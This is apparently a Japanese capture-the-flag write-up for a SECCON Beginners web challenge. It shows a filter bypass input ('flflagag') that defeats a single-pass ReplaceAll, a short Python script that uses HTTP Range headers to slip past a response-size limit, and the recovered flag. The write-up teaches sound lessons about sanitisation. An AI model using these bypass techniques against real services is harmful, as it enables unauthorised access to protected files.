絵文字のギャラリーを作ったよ! え?ギャラリーの中に flag という文字列を見かけた?仮にそうだとしても、サイズ制限があるから flag は漏洩しないはず...だよね?
拡張子に基づいて、保管してるファイルの一覧を返してくれるサービスのようです。
例えば、pngファイルが欲しかったら?file_extension=png
にアクセスするとその拡張子一覧が返ってきます。
flagっていう拡張子のファイルがあるのかな、と思いflagと入力しましたが、パラメータにflag
が含まれていると
fileExtension = strings.ReplaceAll(fileExtension, "flag", "")
ここで置き換えてしまおうという感じらしいです。
ですが一回しか置き換えは実行されないので、flflagag
みたいなのを渡すと結果的にflag
が残ります。
?file_extension=flflagag
というパラメータでアクセスすると、flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf
というデータが存在するみたいです。
これを開こうとすると、サイズ制限に引っ掛かります。
サイズ制限はここでやってるみたいです。
lengthLimit: 10240, // SUPER SECURE THRESHOLD
length := len(data)
if length > w.lengthLimit {
w.ResponseWriter.Write(bytes.Repeat(filledVal, length))
return length, nil
}
サイズ制限を越えると全部fieldVal
に置き換えられるみたいです。
でもHTTPリクエストのrange
ヘッダでダウンロード要求する範囲を変更してしまえば、サイズ制限を回避することができます。
import requests
res = requests.get("https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf", headers={"Range":"bytes=0-10239"}).content
res += requests.get("https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf", headers={"Range":"bytes=10240-20479"}).content
f = open("out.pdf", "wb")
f.write(res)
f.close()
これによってflagが得られます。
ctf4b{r4nge_reque5t_1s_u5efu1!}
サニタイズをReplaceAllだけに頼るとまずそうですね。?
に置き換えるとかだけでもflagのパスは漏洩しなくなると思います。
(というかアクセスされたくないデータをstaticフォルダに入れておくのが間違いなのでは!?)